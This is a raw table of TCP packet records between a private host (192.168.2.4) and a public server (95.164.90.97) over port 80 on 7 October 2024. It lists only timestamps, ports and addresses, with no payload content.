Oct 7, 2024 18:43:29.939089060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939090967 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939097881 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939110041 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939124107 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939145088 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939296961 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939307928 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939316988 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939327002 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939331055 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939336061 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939346075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939351082 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939354897 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939363956 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939373016 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939376116 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939382076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939397097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939399004 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939405918 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939408064 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939418077 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939426899 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939435959 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939435959 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939446926 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939457893 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939475060 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939490080 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939515114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939524889 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939532995 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939543009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939548016 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939553022 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939555883 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939562082 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939570904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939577103 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939580917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939589977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939599037 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939599991 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939610004 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939616919 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939620018 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939630032 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939635992 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939639091 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939647913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939670086 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939683914 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939686060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939696074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939704895 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939713955 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939718962 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939723015 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939733982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939742088 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939743042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939754009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939763069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939764977 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939773083 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939781904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939785004 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939790964 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939800978 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939804077 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939810038 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939821005 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939822912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939836979 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939851046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939853907 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939861059 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939870119 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939878941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939882994 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939889908 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939898968 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939901114 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939908981 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939917088 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939923048 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939927101 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939937115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939941883 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939946890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939954042 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939956903 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939966917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939976931 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939984083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939985037 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939995050 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940010071 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940025091 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940227985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940237045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940246105 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940254927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940260887 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940264940 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940274000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940274954 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940284014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940293074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940295935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940304995 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940306902 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940314054 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940324068 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940331936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940344095 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940359116 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940368891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940372944 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940378904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940387964 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940396070 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940397024 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940404892 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940414906 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940417051 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940423965 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940432072 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940442085 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940444946 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940452099 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940462112 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940462112 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940479040 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940500975 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940519094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940530062 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940538883 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940548897 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940553904 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940562963 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940563917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940577030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940603018 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940773010 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940783978 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940793037 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940802097 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940809965 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940812111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940821886 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940826893 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940829992 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940839052 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940849066 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940865993 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940885067 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940902948 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940912962 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940921068 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940931082 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940936089 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940939903 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940946102 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940949917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940959930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940963030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940969944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940979004 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940982103 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940989017 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.940994024 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.940999031 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941009045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941016912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.941019058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941046953 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.941059113 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.941062927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941072941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941082001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941092014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941099882 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.941101074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941106081 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.941109896 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941119909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941128016 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.941129923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941139936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941149950 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941158056 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.941159964 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941165924 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.941169977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941188097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.941190004 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.941215038 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.941232920 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.943413019 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.943423033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.943433046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.943440914 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.943450928 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.943464041 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.943495035 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944046021 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944056034 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944065094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944073915 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944082975 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944089890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944092989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944099903 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944103003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944113016 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944122076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944125891 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944130898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944143057 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944150925 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944156885 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944171906 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944175005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944181919 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944190979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944190979 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944200993 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944204092 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944210052 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944220066 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944221020 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944228888 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944238901 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944242954 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944247961 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944257975 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944261074 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944268942 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944278002 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944283962 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944308043 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944312096 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944319010 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944329023 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944338083 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944340944 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944351912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944351912 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944360971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944387913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944396973 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944399118 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944406986 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944406986 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944416046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944420099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944426060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944436073 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944441080 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944447041 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944462061 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944472075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944474936 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944480896 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944489002 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944505930 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944525957 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944566965 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944577932 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944586039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944602966 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944610119 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944619894 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944624901 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944628954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944638968 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944644928 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944647074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944658041 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944665909 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944668055 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944689035 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944709063 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944726944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944761038 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.944919109 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.944953918 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945040941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945051908 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945060968 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945070028 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945075989 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945079088 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945084095 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945090055 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945100069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945102930 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945108891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945118904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945127010 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945130110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945138931 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945157051 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945158958 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945166111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945172071 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945175886 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945184946 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945194006 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945194006 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945204020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945207119 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945214033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945223093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945230007 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945233107 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945241928 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945257902 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945267916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945276022 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945276976 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945287943 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945298910 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945303917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945314884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945314884 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945323944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945327044 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945333004 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945343018 CEST	80	49742	95.164.90.97	192.168.2.4
